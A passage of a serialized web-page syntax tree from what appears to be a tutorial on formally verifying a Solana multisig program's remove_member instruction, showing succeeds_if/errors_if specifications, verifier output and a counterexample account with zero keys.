removal\n",{"type":22,"tag":118,"props":27776,"children":27777},{"class":120,"line":492},[27778,27782,27786,27790,27794,27798,27802,27806,27810,27814,27818,27822,27826,27830],{"type":22,"tag":118,"props":27779,"children":27780},{"style":1480},[27781],{"type":28,"value":2159},{"type":22,"tag":118,"props":27783,"children":27784},{"style":204},[27785],{"type":28,"value":639},{"type":22,"tag":118,"props":27787,"children":27788},{"style":210},[27789],{"type":28,"value":292},{"type":22,"tag":118,"props":27791,"children":27792},{"style":125},[27793],{"type":28,"value":648},{"type":22,"tag":118,"props":27795,"children":27796},{"style":210},[27797],{"type":28,"value":292},{"type":22,"tag":118,"props":27799,"children":27800},{"style":125},[27801],{"type":28,"value":25750},{"type":22,"tag":118,"props":27803,"children":27804},{"style":210},[27805],{"type":28,"value":292},{"type":22,"tag":118,"props":27807,"children":27808},{"style":125},[27809],{"type":28,"value":22939},{"type":22,"tag":118,"props":27811,"children":27812},{"style":210},[27813],{"type":28,"value":292},{"type":22,"tag":118,"props":27815,"children":27816},{"style":532},[27817],{"type":28,"value":11137},{"type":22,"tag":118,"props":27819,"children":27820},{"style":125},[27821],{"type":28,"value":2182},{"type":22,"tag":118,"props":27823,"children":27824},{"style":210},[27825],{"type":28,"value":302},{"type":22,"tag":118,"props":27827,"children":27828},{"style":674},[27829],{"type":28,"value":6535},{"type":22,"tag":118,"props":27831,"children":27832},{"style":125},[27833],{"type":28,"value":1474},{"type":22,"tag":118,"props":27835,"children":27836},{"class":120,"line":501},[27837,27841,27845,27849,27853,27857,27862],{"type":22,"tag":118,"props":27838,"children":27839},{"style":1480},[27840],{"type":28,"value":2223},{"type":22,"tag":118,"props":27842,"children":27843},{"style":532},[27844],{"type":28,"value":25466},{"type":22,"tag":118,"props":27846,"children":27847},{"style":125},[27848],{"type":28,"value":540},{"type":22,"tag":118,"props":27850,"children":27851},{"style":131},[27852],{"type":28,"value":25475},{"type":22,"tag":118,"props":27854,"children":27855},{"style":210},[27856],{"type":28,"value":1190},{"type":22,"tag":118,"props":27858,"children":27859},{"style":131},[27860],{"type":28,"value":27861},"CannotRemoveSoloMember",{"type":22,"tag":118,"props":27863,"children":27864},{"style":125},[27865],{"type":28,"value":682},{"type":22,"tag":118,"props":27867,"children":27868},{"class":120,"line":519},[27869],{"type":22,"tag":118,"props":27870,"children":27871},{"style":125},[27872],{"type":28,"value":1254},{"type":22,"tag":118,"props":27874,"children":27875},{"class":120,"line":606},[27876,27880,27884,27888,27892,27896,27900,27904,27908,27912,27916,27920],{"type":22,"tag":118,"props":27877,"children":27878},{"style":204},[27879],{"type":28,"value":22191},{"type":22,"tag":118,"props":27881,"children":27882},{"style":210},[27883],{"type":28,"value":292},{"type":22,"tag":118,"props":27885,"children":27886},{"style":125},[27887],{"type":28,"value":648},{"type":22,"tag":118,"props":27889,"children":27890},{"style":210},[27891],{"type":28,"value":292},{"type":22,"tag":118,"props":27893,"children":27894},{"style":125},[27895],{"type":28,"value":25750},{"type":22,"tag":118,"props":27897,"children":27898},{"style":210},[27899],{"type":28,"value":292},{"type":22,"tag":118,"props":27901,"children":27902},{"style":532},[27903],{"type":28,"value":27409},{"type":22,"tag":118,"props":27905,"children":27906},{"style":125},[27907],{"type":28,"value":540},{"type":22,"tag":118,"props":27909,"children":27910},{"style":204},[27911],{"type":28,"value":27742},{"type":22,"tag":118,"props":27913,"children":27914},{"style":125},[27915],{"type":28,"value":3627},{"type":22,"tag":118,"props":27917,"children":27918},{"style":210},[27919],{"type":28,"value":796},{"type":22,"tag":118,"props":27921,"children":27922},{"style":125},[27923],{"type":28,"value":801},{"type":22,"tag":118,"props":27925,"children":27926},{"class":120,"line":615},[27927],{"type":22,"tag":118,"props":27928,"children":27929},{"emptyLinePlaceholder":15},[27930],{"type":28,"value":250},{"type":22,"tag":118,"props":27932,"children":27933},{"class":120,"line":685},[27934],{"type":22,"tag":118,"props":27935,"children":27936},{"style":257},[27937],{"type":28,"value":27938},"    // if the number of keys is now less than the threshold, adjust it\n",{"type":22,"tag":118,"props":27940,"children":27941},{"class":120,"line":699},[27942,27946,27950,27954,27958,27962,27966,27970,27974,27978,27982,27987,27991,27995,27999,28003,28007,28011,28015,28019,28023,28027],{"type":22,"tag":118,"props":27943,"children":27944},{"style":1480},[27945],{"type":28,"value":2159},{"type":22,"tag":118,"props":27947,"children":27948},{"style":204},[27949],{"type":28,"value":639},{"type":22,"tag":118,"props":27951,"children":27952},{"style":210},[27953],{"type":28,"value":292},{"type":22,"tag":118,"props":27955,"children":27956},{"style":125},[27957],{"type":28,"value":648},{"type":22,"tag":118,"props":27959,"children":27960},{"style":210},[27961],{"type":28,"value":292},{"type":22,"tag":118,"props":27963,"children":27964},{"style":125},[27965],{"type":28,"value":25750},{"type":22,"tag":118,"props":27967,"children":27968},{"style":210},[27969],{"type":28,"value":292},{"type":22,"tag":118,"props":27971,"children":27972},{"style":125},[27973],{"type":28,"value":22939},{"type":22,"tag":118,"props":27975,"children":27976},{"style":210},[27977],{"type":28,"value":292},{"type":22,"tag":118,"props":27979,"children":27980},{"style":532},[27981],{"type":28,"value":11137},{"type":22,"tag":118,"props":27983,"children":27984},{"style":125},[27985],{"type":28,"value":27986},"() \u003C ",{"type":22,"tag":118,"props":27988,"children":27989},{"style":131},[27990],{"type":28,"value":18567},{"type":22,"tag":118,"props":27992,"children":27993},{"style":210},[27994],{"type":28,"value":1190},{"type":22,"tag":118,"props":27996,"children":27997},{"style":532},[27998],{"type":28,"value":21441},{"type":22,"tag":118,"props":28000,"children":28001},{"style":125},[28002],{"type":28,"value":540},{"type":22,"tag":118,"props":28004,"children":28005},{"style":204},[28006],{"type":28,"value":545},{"type":22,"tag":118,"props":28008,"children":28009},{"style":210},[28010],{"type":28,"value":292},{"type":22,"tag":118,"props":28012,"children":28013},{"style":125},[28014],{"type":28,"value":648},{"type":22,"tag":118,"props":28016,"children":28017},{"style":210},[28018],{"type":28,"value":292},{"type":22,"tag":118,"props":28020,"children":28021},{"style":125},[28022],{"type":28,"value":25750},{"type":22,"tag":118,"props":28024,"children":28025},{"style":210},[28026],{"type":28,"value":292},{"type":22,"tag":118,"props":28028,"children":28029},{"style":125},[28030],{"type":28,"value":28031},"threshold) {\n",{"type":22,"tag":118,"props":28033,"children":28034},{"class":120,"line":729},[28035,28039,28044,28048,28052,28056,28060,28064,28068,28072,28076,28080,28084,28088,28092,28096,28100,28105,28109,28113,28117],{"type":22,"tag":118,"props":28036,"children":28037},{"style":146},[28038],{"type":28,"value":827},{"type":22,"tag":118,"props":28040,"children":28041},{"style":204},[28042],{"type":28,"value":28043}," new_threshold",{"type":22,"tag":118,"props":28045,"children":28046},{"style":210},[28047],{"type":28,"value":213},{"type":22,"tag":118,"props":28049,"children":28050},{"style":131},[28051],{"type":28,"value":22986},{"type":22,"tag":118,"props":28053,"children":28054},{"style":210},[28055],{"type":28,"value":837},{"type":22,"tag":118,"props":28057,"children":28058},{"style":204},[28059],{"type":28,"value":639},{"type":22,"tag":118,"props":28061,"children":28062},{"style":210},[28063],{"type":28,"value":292},{"type":22,"tag":118,"props":28065,"children":28066},{"style":125},[28067],{"type":28,"value":648},{"type":22,"tag":118,"props":28069,"children":28070},{"style":210},[28071],{"type":28,"value":292},{"type":22,"tag":118,"props":28073,"children":28074},{"style":125},[28075],{"type":28,"value":25750},{"type":22,"tag":118,"props":28077,"children":28078},{"style":210},[28079],{"type":28,"value":292},{"type":22,"tag":118,"props":28081,"children":28082},{"style":125},[28083],{"type":28,"value":22939},{"type":22,"tag":118,"props":28085,"children":28086},{"style":210},[28087],{"type":28,"value":292},{"type":22,"tag":118,"props":28089,"children":28090},{"style":532},[28091],{"type":28,"value":11137},{"type":22,"tag":118,"props":28093,"children":28094},{"style":125},[28095],{"type":28,"value":1200},{"type":22,"tag":118,"props":28097,"children":28098},{"style":210},[28099],{"type":28,"value":292},{"type":22,"tag":118,"props":28101,"children":28102},{"style":532},[28103],{"type":28,"value":28104},"try_into",{"type":22,"tag":118,"props":28106,"children":28107},{"style":125},[28108],{"type":28,"value":1200},{"type":22,"tag":118,"props":28110,"children":28111},{"style":210},[28112],{"type":28,"value":292},{"type":22,"tag":118,"props":28114,"children":28115},{"style":532},[28116],{"type":28,"value":5679},{"type":22,"tag":118,"props":28118,"children":28119},{"style":125},[28120],{"type":28,"value":1098},{"type":22,"tag":118,"props":28122,"children":28123},{"class":120,"line":771},[28124,28128,28132,28136,28140,28144,28148,28153,28157,28162,28166,28170],{"type":22,"tag":118,"props":28125,"children":28126},{"style":204},[28127],{"type":28,"value":1034},{"type":22,"tag":118,"props":28129,"children":28130},{"style":210},[28131],{"type":28,"value":292},{"type":22,"tag":118,"props":28133,"children":28134},{"style":125},[28135],{"type":28,"value":648},{"type":22,"tag":118,"props":28137,"children":28138},{"style":210},[28139],{"type":28,"value":292},{"type":22,"tag":118,"props":28141,"children":28142},{"style":125},[28143],{"type":28,"value":25750},{"type":22,"tag":118,"props":28145,"children":28146},{"style":210},[28147],{"type":28,"value":292},{"type":22,"tag":118,"props":28149,"children":28150},{"style":532},[28151],{"type":28,"value":28152},"change_threshold",{"type":22,"tag":118,"props":28154,"children":28155},{"style":125},[28156],{"type":28,"value":540},{"type":22,"tag":118,"props":28158,"children":28159},{"style":204},[28160],{"type":28,"value":28161},"new_threshold",{"type":22,"tag":118,"props":28163,"children":28164},{"style":125},[28165],{"type":28,"value":3627},{"type":22,"tag":118,"props":28167,"children":28168},{"style":210},[28169],{"type":28,"value":796},{"type":22,"tag":118,"props":28171,"children":28172},{"style":125},[28173],{"type":28,"value":801},{"type":22,"tag":118,"props":28175,"children":28176},{"class":120,"line":785},[28177],{"type":22,"tag":118,"props":28178,"children":28179},{"style":125},[28180],{"type":28,"value":1254},{"type":22,"tag":118,"props":28182,"children":28183},{"class":120,"line":804},[28184,28188,28193,28197,28201,28205,28209,28213,28217,28221],{"type":22,"tag":118,"props":28185,"children":28186},{"style":146},[28187],{"type":28,"value":4152},{"type":22,"tag":118,"props":28189,"children":28190},{"style":204},[28191],{"type":28,"value":28192}," new_index",{"type":22,"tag":118,"props":28194,"children":28195},{"style":210},[28196],{"type":28,"value":837},{"type":22,"tag":118,"props":28198,"children":28199},{"style":204},[28200],{"type":28,"value":639},{"type":22,"tag":118,"props":28202,"children":28203},{"style":210},[28204],{"type":28,"value":292},{"type":22,"tag":118,"props":28206,"children":28207},{"style":125},[28208],{"type":28,"value":648},{"type":22,"tag":118,"props":28210,"children":28211},{"style":210},[28212],{"type":28,"value":292},{"type":22,"tag":118,"props":28214,"children":28215},{"style":125},[28216],{"type":28,"value":25750},{"type":22,"tag":118,"props":28218,"children":28219},{"style":210},[28220],{"type":28,"value":292},{"type":22,"tag":118,"props":28222,"children":28223},{"style":125},[28224],{"type":28,"value":28225},"transaction_index;\n",{"type":22,"tag":118,"props":28227,"children":28228},{"class":120,"line":812},[28229,28233,28237,28241,28245,28249,28253,28258,28262,28267],{"type":22,"tag":118,"props":28230,"children":28231},{"style":204},[28232],{"type":28,"value":22191},{"type":22,"tag":118,"props":28234,"children":28235},{"style":210},[28236],{"type":28,"value":292},{"type":22,"tag":118,"props":28238,"children":28239},{"style":125},[28240],{"type":28,"value":648},{"type":22,"tag":118,"props":28242,"children":28243},{"style":210},[28244],{"type":28,"value":292},{"type":22,"tag":118,"props":28246,"children":28247},{"style":125},[28248],{"type":28,"value":25750},{"type":22,"tag":118,"props":28250,"children":28251},{"style":210},[28252],{"type":28,"value":292},{"type":22,"tag":118,"props":28254,"children":28255},{"style":532},[28256],{"type":28,"value":28257},"set_change_index",{"type":22,"tag":118,"props":28259,"children":28260},{"style":125},[28261],{"type":28,"value":540},{"type":22,"tag":118,"props":28263,"children":28264},{"style":204},[28265],{"type":28,"value":28266},"new_index",{"type":22,"tag":118,"props":28268,"children":28269},{"style":125},[28270],{"type":28,"value":3665},{"type":22,"tag":118,"props":28272,"children":28273},{"class":120,"line":821},[28274],{"type":22,"tag":118,"props":28275,"children":28276},{"style":125},[28277],{"type":28,"value":481},{"type":22,"tag":31,"props":28279,"children":28280},{},[28281,28283,28288],{"type":28,"value":28282},"First let's establish the ",{"type":22,"tag":114,"props":28284,"children":28286},{"className":28285},[],[28287],{"type":28,"value":22122},{"type":28,"value":28289}," condition. We can do this either interactively, following counterexamples like in the first example or we can guess what a sufficient condition might be:",{"type":22,"tag":107,"props":28291,"children":28293},{"code":28292,"language":111,"meta":7,"className":109,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\nfn remove_member(...) { ... }\n",[28294],{"type":22,"tag":114,"props":28295,"children":28296},{"__ignoreMap":7},[28297,28304,28351,28358],{"type":22,"tag":118,"props":28298,"children":28299},{"class":120,"line":121},[28300],{"type":22,"tag":118,"props":28301,"children":28302},{"style":125},[28303],{"type":28,"value":26057},{"type":22,"tag":118,"props":28305,"children":28306},{"class":120,"line":142},[28307,28311,28315,28319,28323,28327,28331,28335,28339,28343,28347],{"type":22,"tag":118,"props":28308,"children":28309},{"style":125},[28310],{"type":28,"value":22191},{"type":22,"tag":118,"props":28312,"children":28313},{"style":210},[28314],{"type":28,"value":292},{"type":22,"tag":118,"props":28316,"children":28317},{"style":125},[28318],{"type":28,"value":648},{"type":22,"tag":118,"props":28320,"children":28321},{"style":210},[28322],{"type":28,"value":292},{"type":22,"tag":118,"props":28324,"children":28325},{"style":125},[28326],{"type":28,"value":25750},{"type":22,"tag":118,"props":28328,"children":28329},{"style":210},[28330],{"type":28,"value":292},{"type":22,"tag":118,"props":28332,"children":28333},{"style":125},[28334],{"type":28,"value":22939},{"type":22,"tag":118,"props":28336,"children":28337},{"style":210},[28338],{"type":28,"value":292},{"type":22,"tag":118,"props":28340,"children":28341},{"style":125},[28342],{"type":28,"value":22977},{"type":22,"tag":118,"props":28344,"children":28345},{"style":210},[28346],{"type":28,"value":12460},{"type":22,"tag":118,"props":28348,"children":28349},{"style":125},[28350],{"type":28,"value":21410},{"type":22,"tag":118,"props":28352,"children":28353},{"class":120,"line":177},[28354],{"type":22,"tag":118,"props":28355,"children":28356},{"style":125},[28357],{"type":28,"value":139},{"type":22,"tag":118,"props":28359,"children":28360},{"class":120,"line":195},[28361,28365,28369,28373,28377,28381,28385],{"type":22,"tag":118,"props":28362,"children":28363},{"style":146},[28364],{"type":28,"value":2603},{"type":22,"tag":118,"props":28366,"children":28367},{"style":532},[28368],{"type":28,"value":27708},{"type":22,"tag":118,"props":28370,"children":28371},{"style":125},[28372],{"type":28,"value":540},{"type":22,"tag":118,"props":28374,"children":28375},{"style":210},[28376],{"type":28,"value":11589},{"type":22,"tag":118,"props":28378,"children":28379},{"style":125},[28380],{"type":28,"value":25934},{"type":22,"tag":118,"props":28382,"children":28383},{"style":210},[28384],{"type":28,"value":11589},{"type":22,"tag":118,"props":28386,"children":28387},{"style":125},[28388],{"type":28,"value":11594},{"type":22,"tag":31,"props":28390,"children":28391},{},[28392,28394,28399],{"type":28,"value":28393},"And for now let's remove the invariant on the ",{"type":22,"tag":114,"props":28395,"children":28397},{"className":28396},[],[28398],{"type":28,"value":24696},{"type":28,"value":28400}," account:",{"type":22,"tag":107,"props":28402,"children":28404},{"code":28403,"language":111,"meta":7,"className":109,"style":7},"#[invariant()]\npub struct Ms { ... }\n",[28405],{"type":22,"tag":114,"props":28406,"children":28407},{"__ignoreMap":7},[28408,28416],{"type":22,"tag":118,"props":28409,"children":28410},{"class":120,"line":121},[28411],{"type":22,"tag":118,"props":28412,"children":28413},{"style":125},[28414],{"type":28,"value":28415},"#[invariant()]\n",{"type":22,"tag":118,"props":28417,"children":28418},{"class":120,"line":142},[28419,28423,28427,28431,28435,28439],{"type":22,"tag":118,"props":28420,"children":28421},{"style":146},[28422],{"type":28,"value":149},{"type":22,"tag":118,"props":28424,"children":28425},{"style":146},[28426],{"type":28,"value":154},{"type":22,"tag":118,"props":28428,"children":28429},{"style":131},[28430],{"type":28,"value":23111},{"type":22,"tag":118,"props":28432,"children":28433},{"style":125},[28434],{"type":28,"value":11584},{"type":22,"tag":118,"props":28436,"children":28437},{"style":210},[28438],{"type":28,"value":11589},{"type":22,"tag":118,"props":28440,"children":28441},{"style":125},[28442],{"type":28,"value":11594},{"type":22,"tag":31,"props":28444,"children":28445},{},[28446],{"type":28,"value":28447},"Let's test this!",{"type":22,"tag":31,"props":28449,"children":28450},{},[28451,28453,28458],{"type":28,"value":28452},"Our ",{"type":22,"tag":114,"props":28454,"children":28456},{"className":28455},[],[28457],{"type":28,"value":22122},{"type":28,"value":28459}," harness produces:",{"type":22,"tag":107,"props":28461,"children":28463},{"code":28462},"VERIFICATION:- SUCCESSFUL\nVerification Time: 28.119272s\n",[28464],{"type":22,"tag":114,"props":28465,"children":28466},{"__ignoreMap":7},[28467],{"type":28,"value":28462},{"type":22,"tag":31,"props":28469,"children":28470},{},[28471],{"type":28,"value":28472},"This tells us that if our multisig has at least two keys then the instruction will succeed.",{"type":22,"tag":31,"props":28474,"children":28475},{},[28476,28478,28483],{"type":28,"value":28477},"However, remember that since ",{"type":22,"tag":114,"props":28479,"children":28481},{"className":28480},[],[28482],{"type":28,"value":22122},{"type":28,"value":28484}," represents just the sufficient conditions, there may be other cases where the function succeeds.",{"type":22,"tag":31,"props":28486,"children":28487},{},[28488,28490,28495,28497,28502,28504,28509],{"type":28,"value":28489},"Suppose we want to be sure that this condition is the ",{"type":22,"tag":4764,"props":28491,"children":28492},{},[28493],{"type":28,"value":28494},"only condition",{"type":28,"value":28496}," in which the function will succeed (i.e. ",{"type":22,"tag":4764,"props":28498,"children":28499},{},[28500],{"type":28,"value":28501},"\"the function will succeed if and only if the multisig has at least two keys\"",{"type":28,"value":28503},"). We could attempt to verify the other side of this with an ",{"type":22,"tag":114,"props":28505,"children":28507},{"className":28506},[],[28508],{"type":28,"value":22129},{"type":28,"value":28510}," macro such as:",{"type":22,"tag":107,"props":28512,"children":28514},{"code":28513,"language":111,"meta":7,"className":109,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\n#[errors_if(\n    ctx.accounts.multisig.keys.len() \u003C= 1\n)]\nfn remove_member(...) { ... }\n",[28515],{"type":22,"tag":114,"props":28516,"children":28517},{"__ignoreMap":7},[28518,28525,28572,28579,28586,28633,28640],{"type":22,"tag":118,"props":28519,"children":28520},{"class":120,"line":121},[28521],{"type":22,"tag":118,"props":28522,"children":28523},{"style":125},[28524],{"type":28,"value":26057},{"type":22,"tag":118,"props":28526,"children":28527},{"class":120,"line":142},[28528,28532,28536,28540,28544,28548,28552,28556,28560,28564,28568],{"type":22,"tag":118,"props":28529,"children":28530},{"style":125},[28531],{"type":28,"value":22191},{"type":22,"tag":118,"props":28533,"children":28534},{"style":210},[28535],{"type":28,"value":292},{"type":22,"tag":118,"props":28537,"children":28538},{"style":125},[28539],{"type":28,"value":648},{"type":22,"tag":118,"props":28541,"children":28542},{"style":210},[28543],{"type":28,"value":292},{"type":22,"tag":118,"props":28545,"children":28546},{"style":125},[28547],{"type":28,"value":25750},{"type":22,"tag":118,"props":28549,"children":28550},{"style":210},[28551],{"type":28,"value":292},{"type":22,"tag":118,"props":28553,"children":28554},{"style":125},[28555],{"type":28,"value":22939},{"type":22,"tag":118,"props":28557,"children":28558},{"style":210},[28559],{"type":28,"value":292},{"type":22,"tag":118,"props":28561,"children":28562},{"style":125},[28563],{"type":28,"value":22977},{"type":22,"tag":118,"props":28565,"children":28566},{"style":210},[28567],{"type":28,"value":12460},{"type":22,"tag":118,"props":28569,"children":28570},{"style":125},[28571],{"type":28,"value":21410},{"type":22,"tag":118,"props":28573,"children":28574},{"class":120,"line":177},[28575],{"type":22,"tag":118,"props":28576,"children":28577},{"style":125},[28578],{"type":28,"value":139},{"type":22,"tag":118,"props":28580,"children":28581},{"class":120,"line":195},[28582],{"type":22,"tag":118,"props":28583,"children":28584},{"style":125},[28585],{"type":28,"value":22183},{"type":22,"tag":118,"props":28587,"children":28588},{"class":120,"line":244},[28589,28593,28597,28601,28605,28609,28613,28617,28621,28625,28629],{"type":22,"tag":118,"props":28590,"children":28591},{"style":125},[28592],{"type":28,"value":22191},{"type":22,"tag":118,"props":28594,"children":28595},{"style":210},[28596],{"type":28,"value":292},{"type":22,"tag":118,"props":28598,"children":28599},{"style":125},[28600],{"type":28,"value":648},{"type":22,"tag":118,"props":28602,"children":28603},{"style":210},[28604],{"type":28,"value":292},{"type":22,"tag":118,"props":28606,"children":28607},{"style":125},[28608],{"type":28,"value":25750},{"type":22,"tag":118,"props":28610,"children":28611},{"style":210},[28612],{"type":28,"value":292},{"type":22,"tag":118,"props":28614,"children":28615},{"style":125},[28616],{"type":28,"value":22939},{"type":22,"tag":118,"props":28618,"children":28619},{"style":210},[28620],{"type":28,"value":292},{"type":22,"tag":118,"props":28622,"children":28623},{"style":125},[28624],{"type":28,"value":22977},{"type":22,"tag":118,"props":28626,"children":28627},{"style":210},[28628],{"type":28,"value":21382},{"type":22,"tag":118,"props":28630,"children":28631},{"style":125},[28632],{"type":28,"value":21410},{"type":22,"tag":118,"props":28634,"children":28635},{"class":120,"line":253},[28636],{"type":22,"tag":118,"props":28637,"children":28638},{"style":125},[28639],{"type":28,"value":139},{"type":22,"tag":118,"props":28641,"children":28642},{"class":120,"line":263},[28643,28647,28651,28655,28659,28663,28667],{"type":22,"tag":118,"props":28644,"children":28645},{"style":146},[28646],{"type":28,"value":2603},{"type":22,"tag":118,"props":28648,"children":28649},{"style":532},[28650],{"type":28,"value":27708},{"type":22,"tag":118,"props":28652,"children":28653},{"style":125},[28654],{"type":28,"value":540},{"type":22,"tag":118,"props":28656,"children":28657},{"style":210},[28658],{"type":28,"value":11589},{"type":22,"tag":118,"props":28660,"children":28661},{"style":125},[28662],{"type":28,"value":25934},{"type":22,"tag":118,"props":28664,"children":28665},{"style":210},[28666],{"type":28,"value":11589},{"type":22,"tag":118,"props":28668,"children":28669},{"style":125},[28670],{"type":28,"value":11594},{"type":22,"tag":31,"props":28672,"children":28673},{},[28674,28676,28681],{"type":28,"value":28675},"Let's test this, we just need to run the new ",{"type":22,"tag":114,"props":28677,"children":28679},{"className":28678},[],[28680],{"type":28,"value":22129},{"type":28,"value":28682}," harness:",{"type":22,"tag":107,"props":28684,"children":28686},{"code":28685},"VERIFICATION:- FAILED\nVerification Time: 31.900913s\n",[28687],{"type":22,"tag":114,"props":28688,"children":28689},{"__ignoreMap":7},[28690],{"type":28,"value":28685},{"type":22,"tag":31,"props":28692,"children":28693},{},[28694],{"type":28,"value":28695},"Hmm, this verification failed! Let's look at the counterexample. The multisig it is trying to remove a member from looks like:",{"type":22,"tag":107,"props":28697,"children":28699},{"code":28698,"language":111,"meta":7,"className":109,"style":7},"Account {\n    account: Ms {\n        threshold: 0,\n        authority_index: 0,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: Vec {\n            data: ...,\n            size: 0,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[28700],{"type":22,"tag":114,"props":28701,"children":28702},{"__ignoreMap":7},[28703,28714,28733,28752,28771,28790,28809,28828,28847,28866,28885,28905,28924,28931,28938,28965],{"type":22,"tag":118,"props":28704,"children":28705},{"class":120,"line":121},[28706,28710],{"type":22,"tag":118,"props":28707,"children":28708},{"style":131},[28709],{"type":28,"value":19111},{"type":22,"tag":118,"props":28711,"children":28712},{"style":125},[28713],{"type":28,"value":1474},{"type":22,"tag":118,"props":28715,"children":28716},{"class":120,"line":142},[28717,28721,28725,28729],{"type":22,"tag":118,"props":28718,"children":28719},{"style":204},[28720],{"type":28,"value":3125},{"type":22,"tag":118,"props":28722,"children":28723},{"style":210},[28724],{"type":28,"value":213},{"type":22,"tag":118,"props":28726,"children":28727},{"style":131},[28728],{"type":28,"value":23111},{"type":22,"tag":118,"props":28730,"children":28731},{"style":125},[28732],{"type":28,"value":1474},{"type":22,"tag":118,"props":28734,"children":28735},{"class":120,"line":177},[28736,28740,28744,28748],{"type":22,"tag":118,"props":28737,"children":28738},{"style":204},[28739],{"type":28,"value":25771},{"type":22,"tag":118,"props":28741,"children":28742},{"style":210},[28743],{"type":28,"value":213},{"type":22,"tag":118,"props":28745,"children":28746},{"style":674},[28747],{"type":28,"value":5074},{"type":22,"tag":118,"props":28749,"children":28750},{"style":125},[28751],{"type":28,"value":782},{"type":22,"tag":118,"props":28753,"children":28754},{"class":120,"line":195},[28755,28759,28763,28767],{"type":22,"tag":118,"props":28756,"children":28757},{"style":204},[28758],{"type":28,"value":27155},{"type":22,"tag":118,"props":28760,"children":28761},{"style":210},[28762],{"type":28,"value":213},{"type":22,"tag":118,"props":28764,"children":28765},{"style":674},[28766],{"type":28,"value":5074},{"type":22,"tag":118,"props":28768,"children":28769},{"style":125},[28770],{"type":28,"value":782},{"type":22,"tag":118,"props":28772,"children":28773},{"class":120,"line":244},[28774,28778,28782,28786],{"type":22,"tag":118,"props":28775,"children":28776},{"style":204},[28777],{"type":28,"value":27175},{"type":22,"tag":118,"props":28779,"children":28780},{"style":210},[28781],{"type":28,"value":213},{"type":22,"tag":118,"props":28783,"children":28784},{"style":674},[28785],{"type":28,"value":5074},{"type":22,"tag":118,"props":28787,"children":28788},{"style":125},[28789],{"type":28,"value":782},{"type":22,"tag":118,"props":28791,"children":28792},{"class":120,"line":253},[28793,28797,28801,28805],{"type":22,"tag":118,"props":28794,"children":28795},{"style":204},[28796],{"type":28,"value":27195},{"type":22,"tag":118,"props":28798,"children":28799},{"style":210},[28800],{"type":28,"value":213},{"type":22,"tag":118,"props":28802,"children":28803},{"style":674},[28804],{"type":28,"value":5074},{"type":22,"tag":118,"props":28806,"children":28807},{"style":125},[28808],{"type":28,"value":782},{"type":22,"tag":118,"props":28810,"children":28811},{"class":120,"line":263},[28812,28816,28820,28824],{"type":22,"tag":118,"props":28813,"children":28814},{"style":204},[28815],{"type":28,"value":27215},{"type":22,"tag":118,"props":28817,"children":28818},{"style":210},[28819],{"type":28,"value":213},{"type":22,"tag":118,"props":28821,"children":28822},{"style":674},[28823],{"type":28,"value":5074},{"type":22,"tag":118,"props":28825,"children":28826},{"style":125},[28827],{"type":28,"value":782},{"type":22,"tag":118,"props":28829,"children":28830},{"class":120,"line":318},[28831,28835,28839,28843],{"type":22,"tag":118,"props":28832,"children":28833},{"style":204},[28834],{"type":28,"value":25784},{"type":22,"tag":118,"props":28836,"children":28837},{"style":210},[28838],{"type":28,"value":213},{"type":22,"tag":118,"props":28840,"children":28841},{"style":210},[28842],{"type":28,"value":27243},{"type":22,"tag":118,"props":28844,"children":28845},{"style":125},[28846],{"type":28,"value":782},{"type":22,"tag":118,"props":28848,"children":28849},{"class":120,"line":351},[28850,28854,28858,28862],{"type":22,"tag":118,"props":28851,"children":28852},{"style":204},[28853],{"type":28,"value":27255},{"type":22,"tag":118,"props":28855,"children":28856},{"style":210},[28857],{"type":28,"value":213},{"type":22,"tag":118,"props":28859,"children":28860},{"style":146},[28861],{"type":28,"value":1678},{"type":22,"tag":118,"props":28863,"children":28864},{"style":125},[28865],{"type":28,"value":782},{"type":22,"tag":118,"props":28867,"children":28868},{"class":120,"line":359},[28869,28873,28877,28881],{"type":22,"tag":118,"props":28870,"children":28871},{"style":204},[28872],{"type":28,"value":27275},{"type":22,"tag":118,"props":28874,"children":28875},{"style":210},[28876],{"type":28,"value":213},{"type":22,"tag":118,"props":28878,"children":28879},{"style":131},[28880],{"type":28,"value":23344},{"type":22,"tag":118,"props":28882,"children":28883},{"style":125},[28884],{"type":28,"value":1474},{"type":22,"tag":118,"props":28886,"children":28887},{"class":120,"line":368},[28888,28893,28897,28901],{"type":22,"tag":118,"props":28889,"children":28890},{"style":204},[28891],{"type":28,"value":28892},"            data",{"type":22,"tag":118,"props":28894,"children":28895},{"style":210},[28896],{"type":28,"value":213},{"type":22,"tag":118,"props":28898,"children":28899},{"style":210},[28900],{"type":28,"value":27243},{"type":22,"tag":118,"props":28902,"children":28903},{"style":125},[28904],{"type":28,"value":782},{"type":22,"tag":118,"props":28906,"children":28907},{"class":120,"line":384},[28908,28912,28916,28920],{"type":22,"tag":118,"props":28909,"children":28910},{"style":204},[28911],{"type":28,"value":27296},{"type":22,"tag":118,"props":28913,"children":28914},{"style":210},[28915],{"type":28,"value":213},{"type":22,"tag":118,"props":28917,"children":28918},{"style":674},[28919],{"type":28,"value":5074},{"type":22,"tag":118,"props":28921,"children":28922},{"style":125},[28923],{"type":28,"value":782},{"type":22,"tag":118,"props":28925,"children":28926},{"class":120,"line":417},[28927],{"type":22,"tag":118,"props":28928,"children":28929},{"style":125},[28930],{"type":28,"value":27317},{"type":22,"tag":118,"props":28932,"children":28933},{"class":120,"line":425},[28934],{"type":22,"tag":118,"props":28935,"children":28936},{"style":125},[28937],{"type":28,"value":27325},{"type":22,"tag":118,"props":28939,"children":28940},{"class":120,"line":441},[28941,28945,28949,28953,28957,28961],{"type":22,"tag":118,"props":28942,"children":28943},{"style":204},[28944],{"type":28,"value":27333},{"type":22,"tag":118,"props":28946,"children":28947},{"style":210},[28948],{"type":28,"value":213},{"type":22,"tag":118,"props":28950,"children":28951},{"style":131},[28952],{"type":28,"value":336},{"type":22,"tag":118,"props":28954,"children":28955},{"style":125},[28956],{"type":28,"value":11584},{"type":22,"tag":118,"props":28958,"children":28959},{"style":210},[28960],{"type":28,"value":11589},{"type":22,"tag":118,"props":28962,"children":28963},{"style":125},[28964],{"type":28,"value":27354},{"type":22,"tag":118,"props":28966,"children":28967},{"class":120,"line":475},[28968],{"type":22,"tag":118,"props":28969,"children":28970},{"style":125},[28971],{"type":28,"value":481},{"type":22,"tag":31,"props":28973,"children":28974},{},[28975],{"type":28,"value":28976},"Interestin